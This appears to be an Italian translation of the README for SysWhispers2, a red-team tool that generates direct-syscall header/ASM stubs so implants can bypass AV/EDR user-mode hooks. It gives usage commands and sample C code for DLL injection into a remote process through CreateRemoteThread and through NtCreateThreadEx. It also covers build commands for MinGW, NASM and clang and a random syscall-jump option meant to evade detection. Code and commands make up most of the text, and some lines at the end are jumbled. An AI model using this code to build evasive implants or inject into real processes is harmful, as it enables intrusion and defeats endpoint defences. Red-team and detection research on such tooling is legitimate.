
Evasione di AV/EDR tramite chiamate di sistema dirette.
SysWhispers aiuta nell'evasione generando file header/ASM che gli implant possono utilizzare per effettuare chiamate di sistema dirette.
Tutte le syscall principali sono supportate e nella cartella example-output/ sono disponibili file generati di esempio.
L'utilizzo è quasi identico a SysWhispers1 ma non è necessario specificare quali versioni di Windows supportare. La maggior parte delle modifiche è sotto il cofano. Non si basa più sulle tabelle delle syscall di @j00ru, ma utilizza la tecnica "sorting by system call address" resa popolare da @modexpblog. Questo riduce significativamente la dimensione degli stub delle syscall.
L'implementazione specifica in SysWhispers2 è una variazione del codice di @modexpblog. Una differenza è che gli hash dei nomi delle funzioni vengono randomizzati ad ogni generazione. @ElephantSe4l, che aveva pubblicato questa tecnica in precedenza, ha un'altra implementazione basata in C++17 che vale la pena di esaminare.
Il repository originale di SysWhispers è ancora presente ma potrebbe essere deprecato in futuro.
Vari prodotti di sicurezza inseriscono hook nelle funzioni API in modalità utente che consentono loro di reindirizzare il flusso di esecuzione verso i propri motori e rilevare comportamenti sospetti. Le funzioni in ntdll.dll che effettuano le syscall sono composte da poche istruzioni assembly, quindi reimplementarle nel proprio implant può bypassare l'attivazione di quegli hook dei prodotti di sicurezza. Questa tecnica è stata resa popolare da @Cn33liz e il suo post sul blog contiene maggiori dettagli tecnici che vale la pena leggere.
SysWhispers fornisce ai red teamer la capacità di generare coppie header/ASM per qualsiasi syscall nell'immagine del kernel principale (ntoskrnl.exe). Gli header includeranno anche le definizioni dei tipi necessarie.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Esporta tutte le funzioni con compatibilità per tutte le versioni di Windows supportate (vedi example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Esporta solo le funzioni comuni (vedi elenco in basso).
py .\syswhispers.py --preset common -o syscalls_common
# Esporta NtProtectVirtualMemory e NtWriteVirtualMemory con compatibilità per tutte le versioni.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usando l'opzione --preset common verrà creata una coppia header/ASM con le seguenti funzioni:
I seguenti esempi mostrano come compilare i programmi di esempio precedenti come EXE e DLL utilizzando MinGW e l'assembler NASM:
i686-w64-mingw32-gcc -c main.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-gcc *.o -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
i686-w64-mingw32-gcc -c dllmain.c syscalls.c -Wall -shared
nasm -f win32 -o syscallsstubs.std.x86.o syscallsstubs.std.x86.nasm
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
x86_64-w64-mingw32-gcc -m64 -c main.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc *.o -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
rm -rf *.o temp.exe
x86_64-w64-mingw32-gcc -m64 -c dllmain.c syscalls.c -Wall -shared
nasm -f win64 -o syscallsstubs.std.x64.o syscallsstubs.std.x64.nasm
x86_64-w64-mingw32-gcc-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
rm -rf *.o temp.dll
i686-w64-mingw32-gcc -m32 -Wall -c main.c syscalls.c syscallsstubs.std.x86.s -o temp.exe
i686-w64-mingw32-strip -s temp.exe -o example.exe
i686-w64-mingw32-gcc -m32 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x86.s -o temp.dll
i686-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
i686-w64-mingw32-strip -s temp.dll -o example.dll
x86_64-w64-mingw32-gcc -m64 -Wall -c main.c syscalls.c syscallsstubs.std.x64.s -o temp.exe
x86_64-w64-mingw32-strip -s temp.exe -o example.exe
x86_64-w64-mingw32-gcc -m64 -Wall -c dllmain.c syscalls.c syscallsstubs.std.x64.s -o temp.dll
x86_64-w64-mingw32-dllwrap --def dllmain.def *.o -o temp.dll
x86_64-w64-mingw32-strip -s temp.dll -o example.dll
SysWhispers2 produce un file .s compatibile con clang che contiene gli stub ASM. Può essere utilizzato con llvm per compilare il proprio codice. Ad esempio, utilizzando l'esempio di iniezione DLL CreateRemoteThread sopra:
clang -D nullptr=NULL main.c syscall.c syscallstubs.std.x64.s -o test.exe
L'opzione di output inlinegas genererà una versione solo header di Syswhispers2 che può essere utilizzata con la compilazione dei BOF. Basta includere l'header nel proprio progetto.
Utilizzando la routine di salto syscall casuale è possibile evitare il "mark of the syscall". Lo stub assembly chiama una nuova funzione SW__GetRandomSyscallAddress che cerca e seleziona un'istruzione syscall pulita in ntdll.dll da utilizzare. In questo modo è possibile evitare anche di attivare le istruzioni syscall in userland.
Per utilizzare i salti syscall casuali, sarà necessario definire RANDSYSCALL durante la compilazione del programma e utilizzare la versione rnd dell'output di SysWhispers2. I seguenti esempi mostrano l'utilizzo degli stub GNU Assembler.
i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
win32k.sys) non sono supportate.syscalls.h sono già stati definiti.
--preset all è raramente necessario).syscalls.h.Sviluppato da @Jackson_T e @modexpblog, ma si basa sul lavoro di molti altri:
Questo progetto è concesso in licenza secondo i termini della Apache License 2.0.